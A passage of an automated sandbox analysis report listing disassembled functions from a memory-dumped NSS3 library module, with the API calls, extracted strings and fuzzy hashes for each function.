Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname1, xrefs: 6C72708F
mz_etilqs_, xrefs: 6C726F18
winGetTempname5, xrefs: 6C727071
winGetTempname4, xrefs: 6C727046
Pvl, xrefs: 6C7270A8
winGetTempname2, xrefs: 6C7270C4

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

nss=, xrefs: 6C6B5083
parameters=, xrefs: 6C6B506B
name=, xrefs: 6C6B5057
library=, xrefs: 6C6B5043
config=, xrefs: 6C6B509B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

any, xrefs: 6C6B4C96
rootFlags, xrefs: 6C6B4D47
0x%08lx=[%s %s], xrefs: 6C6B4D80
rust, xrefs: 6C6B4D22
%s,%s, xrefs: 6C6B4C4B
every, xrefs: 6C6B4CA1
timeout, xrefs: 6C6B4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
slotFlags, xrefs: 6C6B4D34
ootT, xrefs: 6C6B4D1A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

%s%s, xrefs: 6C65DEEB
{???}, xrefs: 6C65DE8B
(NULL) (Validity Unknown), xrefs: 6C65DEFA

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

